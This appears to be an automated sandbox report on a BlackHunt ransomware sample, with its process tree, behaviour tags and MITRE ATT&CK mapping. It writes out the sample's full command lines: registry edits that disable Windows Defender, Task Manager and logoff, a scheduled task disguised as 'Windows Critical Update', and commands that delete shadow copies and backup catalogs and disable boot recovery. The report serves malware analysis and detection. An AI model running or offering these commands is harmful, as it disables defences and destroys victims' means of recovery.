Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
"C:\Users\Admin\AppData\Local\Temp\81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2824
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2580
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:3008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2556
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2296
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:592
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:728
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2040
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:688
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:1640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:1408
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:960
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1020
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:3036
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:1800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2384
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1620
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1656
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1304
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2224
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1152
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1788
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:1264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1300
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1148
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry class
    PID:3008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1132
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2868
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:3040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1916
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe" /F
  2⤵
  PID:764
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2288
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2400
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2944
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:556
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1052
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1252
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1996
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:112
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1180
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2008
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2420

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1580

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1260

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2524

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1900

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery